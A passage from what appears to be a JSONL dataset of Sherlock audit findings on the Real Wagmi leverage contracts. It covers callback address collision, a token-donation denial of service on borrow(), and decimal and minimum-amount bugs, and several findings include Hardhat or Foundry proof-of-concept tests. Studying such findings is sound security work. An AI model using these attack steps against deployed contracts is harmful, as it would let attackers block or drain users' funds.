token0:address(WBTC),\n token1:address(WETH),\n fee:3000,\n tickLower: 253320,//TickMath.MIN_TICK,\n tickUpper: 264600, //TickMath.MAX_TICK ,\n amount0Desired:10e8,\n amount1Desired:100e18,\n amount0Min:0,\n amount1Min:0,\n recipient:alice,\n deadline:block.timestamp \n });\n (_tokenId, liquidity, amount0, amount1) = INonfungiblePositionManager(NONFUNGIBLE_POSITION_MANAGER_ADDRESS).mint{value: 1 ether}(mintParams);\n INonfungiblePositionManager(NONFUNGIBLE_POSITION_MANAGER_ADDRESS).approve(address(borrowingManager), _tokenId);\n }\n\n\n\n function test_Borrow() public{\n vm.startPrank(alice);\n console.log(\"alice\", alice);\n \n\n console.log(\"Before borrow\");\n //console.log(IERC20(address(WETH)).balanceOf(address(alice)));\n uint256 BalanceBefore = IERC20(address(WBTC)).balanceOf(address(alice));\n\n LiquidityBorrowingManager.BorrowParams memory AliceBorrowing = createBorrowParams(tokenId);\n \n borrowingManager.borrow(AliceBorrowing,deadline );\n\n console.log(\"After borrow\");\n //console.log(IERC20(address(WETH)).balanceOf(address(alice)));\n uint256 BalanceAfter = IERC20(address(WBTC)).balanceOf(address(alice));\n\n uint256 amountOfWBTCSpent = BalanceBefore - BalanceAfter;\n console.log(\"Amount spent\", amountOfWBTCSpent);\n \n \n }\n}\n```\nFeel free to adjust the liquidity in `LoanInfo` and see that lower liquidity will revert.\n\nAs you can see from the outputs, the amount of `WBTC` spent is quite a chunk and you can see how much WBTC is held by the largest holders in Ethereum -> [here](https://www.coincarp.com/currencies/wrapped-bitcoin/richlist/) this is the case between WBTC and WETH, this value can go even higher when using pools like WBTC/USDC, WETH/USDC and since the protocol is supposed to use any Uniswap V3 pool, there are a lot more other [pools](https://info.uniswap.org/#/pools) with higher price differences which will make the `Borrow` function revert everytime a user tries to use the protocol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L135C6-L140C6\n\n```solidity\n if (borrowedAmount > Constants.MINIMUM_BORROWED_AMOUNT) {\n ++borrowedAmount;\n } else {\n revert TooLittleBorrowedLiquidity(liquidity);\n }\n```\nThis condition is harder to satisfy when the `saleToken` is significantly 'lower' valued than the `holdToken`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSet an appropriate value for `MINIMUM_BORROWED_AMOUNT` .","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//011-M/178.md"}} +{"title":"Low decimal tokens such as EURS will not work as dailyRateCollateral will be overinflated","severity":"medium","body":"Restless Ocean Chipmunk\n\nmedium\n\n# Low decimal tokens such as EURS will not work as dailyRateCollateral will be overinflated\n## Summary\n\nSome tokens have an extremely low amount of decimals, like EURS which has 2 decimals. When calculating `dailyRateCollateral`, low decimal tokens will result in overinflated payments.\n\n## Vulnerability Detail\n\n`dailyRateCollateral` is calculated by first calling `_updateTokenRateInfo` and setting the `currentDailyRate`. If there is no set amount, the `currentDailyRate` will be set to 10, which is the `DEFAULT_DAILY_RATE`. Once `currentDailyRate` is set, the `borrowedAmount` is calculated and this calculation will be executed. If the calculated `dailyRateCollateral` is less than 1000, it will be set to 1000.\n\n```solidity\n //@audit DailyRateCollateral calculation\n cache.dailyRateCollateral = FullMath.mulDivRoundingUp(\n cache.borrowedAmount,\n cache.dailyRateCollateral,\n Constants.BP\n );\n // Check if the dailyRateCollateral is less than the minimum amount defined in the Constants contract\n if (cache.dailyRateCollateral < Constants.MINIMUM_AMOUNT) {\n cache.dailyRateCollateral = Constants.MINIMUM_AMOUNT;\n }\n```\n\n`dailyRateCollateral` means the amount of collateral the user has to pay daily. For example, if the user borrows 1000 USDT, his daily rate collateral will be 1000e18 * 10 / 10000 = 1e18 , which is about 1 USDT. This means that the user has to pay 1 USDT per day. Since 1e18 is greater than 1000, `dailyRateCollateral` will be 1e18.\n\nHowever, if the borrowed token has extremely low decimals, for example EURS, and the user borrows 1000 EURS, his daily rate collateral will be 1000e2 * 10 / 10000 = 100. Since 100 < 1000, `dailyRateCollateral` will be set to 1000. This means that if the user borrows 1000 EURS, he has to pay 1000 EURS, instead of 0.1% of that amount.\n\nSince the protocol uses UniswapV3 positions, it is expected to accommodate to all types of ERC20 tokens.\n\n## Impact\n\nLow token decimals will not work in this protocol, and if not careful, borrowers will overpay when calling `borrow()`.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L858-L866\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend not adding the minimum sum. Also, recommend having a minimum amount to borrow and also probably whitelisting the types of tokens accepted to prevent low decimal issues all round.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//011-M/050.md"}} +{"title":"ApproveSwapAndPay.sol is vulnerable to address collission","severity":"medium","body":"Obedient Misty Tiger\n\nmedium\n\n# ApproveSwapAndPay.sol is vulnerable to address collission\n## Summary\nIn ApproveSwapAndPay.sol, the uniswapV3SwapCallback() never checks with the factory that the pool exists or if any of the inputs are valid in any way.\n## Vulnerability Detail\nIn the uniswapV3SwapCallback(), only a check is performed to verify if msg.sender has been computed via computePoolAddress(), but never check with the factory that the pool exists or any of the inputs are valid in any way. \n```solidity\n(computePoolAddress(tokenIn, tokenOut, fee) != msg.sender).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n```\nAccording to the [UniswapV3 Doc](https://docs.uniswap.org/contracts/v3/reference/core/interfaces/callback/IUniswapV3SwapCallback), when using uniswapV3SwapCallback, the caller of this method must be verified to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\nIn the 2023-07-kyber-swap contest, there is a similar valid finding that provides a detailed explanation and verification for this issue. You can review it here:\nhttps://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90\n## Impact\nThe pool address check in the the callback function isn't strict enough and can suffer issues with collision.\nAddress collision can cause all allowances to be drained.\nAlthough this would require a large amount of compute it is already possible to break with current computing. Given the enormity of the value potentially at stake it would be a lucrative attack to anyone who could fund it. In less than a decade this would likely be a fairly easily attained amount of compute, nearly guaranteeing this attack.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L242\n## Tool used\n\nManual Review\n\n## Recommendation\nVerify with the factory that msg.sender is a valid pool\nYou can refer to the use of verifyCallback in Uniswap V3:\nhttps://github.com/Uniswap/v3-periphery/blob/main/contracts/SwapRouter.sol#L65\nhttps://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/CallbackValidation.sol#L21","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//010-M/158-best.md"}} +{"title":"ApproveSwapAndPay.sol is vulnerable to address collision","severity":"medium","body":"Silly Chili Crab\n\nmedium\n\n# ApproveSwapAndPay.sol is vulnerable to address collision\n## Summary\n\nApproveSwapAndPay#uniswapV3SwapCallback never verifies that the callback msg.sender is actually a deployed pool. This allows for a provable address collision that can be used to drain all allowances to the callback.\n\n## Vulnerability Detail\n\nSee [detail](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90), this protocol use the same hash algorithm to get the pool address, which means that the pool address is possible to hash collision with truncated issue from uint256 to uint160.\n\nWhen uniswapV3SwapCallback, it use same hash algorithm with kyber swap to get the pool address when uniswapV3SwapCallback. However, it's possible to get the malicious msg.sender address with different tokens due to truncated issue from uint256 to uint160, which means that the callback msg.sender can be a malicious address, and when brute force with 2^82, the hash collision becomes 99.96%. So attacker could use token0 = WETH and vary token1 to call uniswapV3SwapCallback to drain all allowances when callback.\n\n\n## Impact\n\nAddress collision can cause all allowances to be drained\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L242C14-L258\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L275-L285\n\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nVerify the ApproveSwapAndPay#uniswapV3SwapCallback msg.sender is a valid pool.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//010-M/118.md"}} +{"title":"`uniswapV3SwapCallback()` is vulnerable to address collission","severity":"medium","body":"Colossal Tan Hyena\n\nmedium\n\n# `uniswapV3SwapCallback()` is vulnerable to address collission\n## Summary\nThe function `uniswapV3SwapCallback()` never verifies that the callback msg.sender is actually a deployed pool. This allows for a provable address collision that can be used to drain all allowances to the protocol.\n\n## Vulnerability Detail\nThe code snippet lacks a check to ensure that msg.sender is indeed a deployed Uniswap V3 pool. This oversight can potentially lead to address collisions, where a malicious actor could calculate an address and exploit it to steal all allowances of a token.\n```solidity\nfunction uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external {\n (amount0Delta <= 0 && amount1Delta <= 0).revertError(ErrLib.ErrorCode.INVALID_SWAP); // swaps entirely within 0-liquidity regions are not supported\n\n (uint24 fee, address tokenIn, address tokenOut) = abi.decode(\n data,\n (uint24, address, address)\n );\n (computePoolAddress(tokenIn, tokenOut, fee) != msg.sender).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n uint256 amountToPay = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta);\n _pay(tokenIn, address(this), msg.sender, amountToPay);\n }\n```\nIn detail, please refer to this [finding](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90) document.\n\n## Impact\nAddress collision can cause all allowances to be drained.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L242-L258\n\n## Tool used\n\nManual Review\n\n## Recommendation\nVerify with the factory that msg.sender is a valid pool","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//010-M/062.md"}} +{"title":"Uniswap callback is incorrectly protected","severity":"medium","body":"Smooth Honeysuckle Sawfish\n\nhigh\n\n# Uniswap callback is incorrectly protected\n## Summary\ncallback functions in Uniswap V3 are not properly protected and cause this function to always revert.\n\n## Vulnerability Detail\n## Uniswap callback is incorrectly protected\nConsidering that callback functions in Uniswap v2 or v3 are dangerous and must be properly protected, if this is not done, a malicious person can do things such as stealing money depending on the conditions.\n\nEach callback must be validated to verify that the call originated from a genuine V3 pool. Otherwise, the pool contract would be vulnerable to attack via an EOA manipulating the callback function.\n\nIn the ApproveSwapAndPay.sol contract, authorization is done incorrectly for the uniswapV3SwapCallback function at all, and this is very dangerous.\n\nA malicious person creates malicious contract and passes arbitrary data which calls the malicious contract.\n\nThe malicious Pool calls back the ApproveSwapAndPay.uniswapV3SwapCallback function by swapping and considering that authentication is done incorrectly here, it can easily steal users' assets and funds.\n\n## Unsafe downcast\n\nWhen a type is downcast to a smaller type, the higher order bits are truncated, effectively applying a modulo to the original value. Without any other checks, this wrapping will lead to unexpected behavior and bugs\n\nSolidity does not check if it is safe to cast an integer to a smaller one. Unless some business logic ensures that the downcasting is safe, a library like [SafeCast](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol) should be used.\n\n### According to these two introductions:\n\nThe computePoolAddress() function is implemented incorrectly and occurs in the Unsafe downcast bug, and eventually the calculations and the result of the function will be wrong.\n\nAs a result of this mistake, the check performed in the uniswapV3SwapCallback function to compare Pool Address and msg.sender will not be established and this function will probably always revert.\n\n\n## Impact\nA miscalculation in the computePoolAddress() function causes Unsafe downcast and the output of this function is used as an authentication mechanism on the uniswapV3SwapCallback function, which leads to a wrong result and finally the uniswapV3SwapCallback function always reverts.\n\nBut in theory, it is possible to consider a case where the malicious person finds arguments that the output of the computePoolAddress function is equal to msg.sender by checking a lot. In this case a malicious person can write uniswapV3SwapCallback in such a way that a callback is made by swapping and implement the process of stealing tokens and assets of other users in this function.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol?plain=1#L242-L258\n```solidity\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external {\n (amount0Delta <= 0 && amount1Delta <= 0).revertError(ErrLib.ErrorCode.INVALID_SWAP); // swaps entirely within 0-liquidity regions are not supported\n\n (uint24 fee, address tokenIn, address tokenOut) = abi.decode(\n data,\n (uint24, address, address)\n );\n (computePoolAddress(tokenIn, tokenOut, fee) != msg.sender).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n uint256 amountToPay = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta);\n _pay(tokenIn, address(this), msg.sender, amountToPay);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol?plain=1#L278-L279\n```solidity\n uint160(\n uint256(\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo fix the problem, you can use the verifyCallback function\n```solidity\nCallbackValidation.verifyCallback(factory, tokenIn, tokenOut, fee);\n```\n\nThis line defers the validation of the LP address (which should equal msg.sender) to the [CallbackValidation](https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/CallbackValidation.sol) library. The function verifyCallback executes this code:\n```solidity\npool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));\nrequire(msg.sender == address(pool));\n```\nWhere [PoolAddress](https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/PoolAddress.sol) is another library.\n\nThe computeAddress function executes this somewhat complex check:\n```solidity\n function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {\n require(key.token0 < key.token1);\n pool = address(\n uint256(\n keccak256(\n abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encode(key.token0, key.token1, key.fee)),\n POOL_INIT_CODE_HASH\n )\n )\n )\n );\n }\n```\n\nOr you can use the [SafeCast](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol) library to prevent Unsafe downcast.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//010-M/028.md"}} +{"title":"DoS of protocol - borrow function will revert if contract holds holdToken","severity":"medium","body":"Polished Sky Starfish\n\nmedium\n\n# DoS of protocol - borrow function will revert if contract holds holdToken\n## Summary\n\nThe LiquidityBorrowManager contract´s `borrow` can easily be DOSed by an attacker with a small amount of Tokens. \nTherefore nobody can use the protocol.\n\n## Vulnerability Detail\n\nWhen borrowing Liquidity using the wagmi-leverage protocol, the borrow amount is calculated by getting the single sided value of the Liquidity, represented in the desired holdToken.\nThen the liquidity is extracted and all the `saleTokens` are swapped to the `holdTokens`. \n\nThe resulting amount of `holdTokens` is usually a bit lower than the calculated `borrowAmount`.\nThis difference has to be paid by the borrower. (as the sponsor stated: `a) the difference between the number of tokens received during liquidity extraction and the amount necessary to restore this liquidity in the future in case of any worst price movement.`)\n\nTo achieve this there is the following code inside the `borrow` function.\n\n```solidity\n uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n(borrowingCollateral > params.maxCollateral).revertError(\n ErrLib.ErrorCode.TOO_BIG_COLLATERAL\n);\n\n// Transfer the required tokens to the VAULT_ADDRESS for collateral and holdTokenBalance\n_pay(\n params.holdToken,\n msg.sender,\n VAULT_ADDRESS,\n borrowingCollateral + liquidationBonus + cache.dailyRateCollateral + feesDebt\n);\n```\nAs we can see the calculation simply subtracts the amount that the contract actually holds from the calculated borrow amount.\n\nNow, a malicious user or attacker can use this fact to make all the calls to borrow for a specific holdToken going to revert.\nAll he has to do is to transfer a small amount of the `holdToken` to the contract, so that the actual amount (`cache.holdTokenBalance`) the contract holds would be higher than the `borrowedAmount`. \n\nThe overflow protection of Solidity will make all calls to the function revert.\n\nAs the LiquidityBorrowManager contract is not intended to hold any Tokens and there is no sweep function, this DoS would probably be permanent.\n\nThis can be easily reproduced in the tests:\n\nInside the existing Hardhat Tests in the `LEFT_OUTRANGE_TOKEN_1 borrowing liquidity (long position WBTC zeroForSaleToken = false) will be successful` test we simply transfer a small amount of WBTC to the contract before calling the borrow function:\n\n```typescript\n //Transfer a small amount of HoldToken (WBTC) to the contract first:\n await WBTC.transfer(borrowingManager.address, ethers.utils.parseUnits(\"0.0009\", 8)) ;\n await borrowingManager.connect(bob).borrow(params, deadline);\n });\n```\n\nIn this case it will make the Test fail, as the function reverts with the message: `reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)`\n\n\n## Impact\n\nDoS of the protocol: No one can call the `borrow` function for the specific `holdToken` \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L869\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n- When getting the current balance, ignore the balance, the contract had at the beginning of the call. \n- Add a onlyOwner sweep Function to the contract, to allow transferring out of donated Tokens","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//009-M/180.md"}} +{"title":"Borrowing functionality for specific hold token may be dossed","severity":"medium","body":"Proud Mocha Mustang\n\nmedium\n\n# Borrowing functionality for specific hold token may be dossed\n## Summary\nThe borrowing functionality for specific or all hold tokens in the smart contract may be disrupted\n\n## Vulnerability Detail\nIn the following code snippet borrowingCollateral is calculated by subtracting cache.holdTokenBalance from cache.borrowedAmount\n```solidity\nuint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n```\nThe problem arises from the _getBalance function, which retrieves the balance of the contract using balanceOf(address(this)). This can be exploited by a malicious user who sends tokens to the contract, causing the borrow function to revert due to underflow\n```solidity\nfunction _getBalance(address token) internal view returns (uint256 balance) {\n bytes memory callData = abi.encodeWithSelector(IERC20.balanceOf.selector, address(this));\n (bool success, bytes memory data) = token.staticcall(callData);\n require(success && data.length >= 32);\n balance = abi.decode(data, (uint256));\n }\n```\nYou might argue that a user could borrow a larger amount of tokens than repay and obtain the attacker's tokens. However, the attacker can monitor the mempool, and if such a situation occurs, they can simply repay the loan they took earlier and retrieve their tokens. \n\nAdditionally, some tokens have low liquidity on Uniswap. If an attacker sends a significant number of tokens, another user may not be able to borrow a sum high enough to exceed their holdTokenBalance.\n\n## Impact\nBorrowing functionality for one or all hold tokens may be unavailable.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L113-L118\n\n## Tool used\nManual Review\n\n## Recommendation\nUse a more secure method to check the contract's token balance to prevent external manipulation.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//009-M/133-best.md"}} +{"title":"Anyone can block any borrowing","severity":"medium","body":"Itchy Canvas Cricket\n\nhigh\n\n# Anyone can block any borrowing\n## Summary\n\nThe LiquidityBorrowingManager.sol smart contract in the Real Wagmi project has a vulnerability that can lead to a situation where no one can borrow a specific ERC20 token. It works with any ERC20 token.\n\n## Vulnerability Detail\n\nIn the LiquidityBorrowingManager.sol smart contract, specifically in the borrow function, there is a check on `borrowingCollateral `. The relevant code snippet is as follows:\n```solidity\nuint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n(borrowingCollateral > params.maxCollateral).revertError(ErrLib.ErrorCode.TOO_BIG_COLLATERAL);\n```\nThe `borrowingCollateral` variable is calculated as the difference between the borrowed amount and `cache.holdTokenBalance`. `cache.holdTokenBalance` is equivalent to the balance of the `params.holdToken` token held by the contract. In a normal world, this is equivalent to the tokens the contract just received by the position used here. Since anyone can send ERC20 tokens to this contract, an attacker can manipulate `cache.holdTokenBalance` by sending an amount of the `params.holdToken` token to the contract directly. This manipulation can result in `cache.holdTokenBalance` being larger than `cache.borrowedAmount`, causing the transaction and all the next one to revert.\n\nTo PoC this vulnerability, in the test file WagmiLeverageTests.ts, we just need to modify [this line](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L111)\n```solidity\n[owner.address, alice.address, bob.address, aggregatorMock.address],\n```\nby\n```solidity\n[owner.address, alice.address, bob.address, aggregatorMock.address, borrowingManager.address],\n```\nBy this modification, we also send tokens to the smart contract. Then all the tests (run `npx hardhat test`) when someone borrows (and logically then other actions after borrowing) fail.\n\n## Impact\nThe impact of this vulnerability is significant. An attacker can effectively prevent anyone from borrowing the specific `params.holdToken` token. Moreover, the cost is not high since `borrowingCollateral` is normally not very high (in some cases it is equal to 1).\n\n## Code Snippet\nThe vulnerability comes from this line: https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L869-L872\n\n## Tool used\nManual Review\n\n## Recommendation\n1. Call the `balanceOf ` function of the token at the beginning of the borrow function. When computing `cache.holdTokenBalance`, compare it to the previous balance.\n2. Add a function allowing to withdraw ERC20 tokens of this contract (and not in the vault!). Because the balance should be empty, in case of receipt, someone should be able to withdraw it.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//009-M/027.md"}} +{"title":"DOS blocking users from opening positions on loans","severity":"medium","body":"Steep Boysenberry Grasshopper\n\nhigh\n\n# DOS blocking users from opening positions on loans\n## Summary\n\nIt is possible to DOS the borrow function to always revert when users call it while passing a targeted holdToken, this is done simply by transferring a small amount of the targeted holdToken directly to the LiquidityBorrowingManager, which will mess up the `_getPairBalance` function and will return messed up values that violate the actual/expected balance.\n\n## Vulnerability Detail\n\nThe difference between `cache.borrowedAmount` and `cache.holdTokenBalance` in borrow function will always be small for example, if we print the values of `cache.borrowedAmount` and `cache.holdTokenBalance` you will notice it is too small.\n\n\"image\"\n\nSo if a user send small amount of token to LiquidityBorrowingManager it will cause the `cache.holdTokenBalance` to be greater than `cache.borrowedAmount` then line \nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492\nwill always revert when anyone try to call the borrow function.\n\n\nPOC:\n```solidity\nit(\"poc\", async () => {\n const amountWBTC = ethers.utils.parseUnits(\"0.05\", 8); //token0\n const deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[3].liquidity,\n tokenId: nftpos[3].tokenId,\n },\n ];\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n const params: LiquidityBorrowingManager.BorrowParamsStruct = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC,\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n\n await borrowingManager.connect(bob).borrow(params, deadline);\n\n await WBTC.connect(alice).transfer(borrowingManager.address, ethers.utils.parseUnits(\"1\", 1));\n\n const params2: LiquidityBorrowingManager.BorrowParamsStruct = {\n ...params,\n loans: [\n {\n liquidity: nftpos[4].liquidity,\n tokenId: nftpos[4].tokenId,\n },\n ],\n };\n\n await expect(borrowingManager.connect(bob).borrow(params2, deadline)).to.be.reverted;\n});\n```\n\nyou will see that it will always revert.\n\n## Impact\n\nDOS blocking users from opening positions on loans\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492\n\n```solidity\nuint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n```\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L113-L118\n```solidity\n function _getBalance(address token) internal view returns (uint256 balance) {\n bytes memory callData = abi.encodeWithSelector(IERC20.balanceOf.selector, address(this));\n (bool success, bytes memory data) = token.staticcall(callData);\n require(success && data.length >= 32);\n balance = abi.decode(data, (uint256));\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nuse local variables to track balances instead of balance(this)?","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//009-M/023.md"}} +{"title":"Underflow in borrow() Function","severity":"major","body":"Sticky Teal Sheep\n\nmedium\n\n# Underflow in borrow() Function\n## Summary\nThe borrow() function may end up in scenarios where `cache.borrowedAmount` is less than `cache.holdTokenBalance`, The line `uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;` within the `borrow()` function is will revert due to underflow, leading to an UniV3 position available for Wagmi protocol which cannot be borrowed.\n\n## Vulnerability Detail\n\n[`cache.borrowedAmount` is the result from this function : ](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L116)\n```solidity\nfunction _getSingleSideRoundUpBorrowedAmount(\n bool zeroForSaleToken,\n int24 tickLower,\n int24 tickUpper,\n uint128 liquidity\n ) private pure returns (uint256 borrowedAmount) {\n borrowedAmount = (\n zeroForSaleToken\n ? LiquidityAmounts.getAmount1ForLiquidity(\n TickMath.getSqrtRatioAtTick(tickLower),\n TickMath.getSqrtRatioAtTick(tickUpper),\n liquidity\n )\n : LiquidityAmounts.getAmount0ForLiquidity(\n TickMath.getSqrtRatioAtTick(tickLower),\n TickMath.getSqrtRatioAtTick(tickUpper),\n liquidity\n )\n );\n if (borrowedAmount > Constants.MINIMUM_BORROWED_AMOUNT) {\n ++borrowedAmount;\n } else {\n revert TooLittleBorrowedLiquidity(liquidity);\n }\n }\n```\nwhich basically return number of holdBalance tokens needed to re-gain liquidity amount in a single UniV3 position.\n\n[On the other way `cache.holdTokenBalance` is calculated by the number of holdToken extracted at current tick + swapped saleToken collected :](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L869C1-L896C10)\n\n```solidity\n (saleTokenBalance, cache.holdTokenBalance) = _getPairBalance(\n params.saleToken,\n params.holdToken\n );\n // Check if the sale token balance is greater than 0\n if (saleTokenBalance > 0) {\n if (params.externalSwap.swapTarget != address(0)) {\n // Call the external swap function and update the hold token balance in the cache\n cache.holdTokenBalance += _patchAmountsAndCallSwap(\n params.saleToken,\n params.holdToken,\n params.externalSwap,\n saleTokenBalance,\n 0\n );\n } else {\n // Call the internal v3SwapExactInput function and update the hold token balance in the cache\n cache.holdTokenBalance += _v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.internalSwapPoolfee,\n tokenIn: params.saleToken,\n tokenOut: params.holdToken,\n amountIn: saleTokenBalance,\n amountOutMinimum: 0\n })\n );\n }\n }\n```\n\nI see 3 scenarios where `cache.holdTokenBalance` can be > `cache.borrowedAmount` and lead to a DOS : \n1. If the position has earned fees in `saleToken`, then those could be swapped for `holdToken` by either internal or external swaps, thus increasing the `cache.holdTokenBalance`.\n2. If the price has moved favorably since the position was established, the amount of `holdToken` needed for the same liquidity could be less than initially calculated.\n3. If there is low liquidity for `saleToken`, but a high liquidity for `holdToken`, you may end up with more `holdToken` after the swap, making `cache.holdTokenBalance` greater than `cache.borrowedAmount`.\n\n## Impact\nUnderflow leading to an UniV3 position unable to be borrowed\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L116C5-L140C6\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L150\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L869\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L874\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck which of the 2 variables is bigger than the other and adapt the calculation : \n```solidity\nuint256 borrowingCollateral;\nif (cache.borrowedAmount < cache.holdTokenBalance) {\n borrowingCollateral = /* some calculated or default value */;\n // OR for example uint256 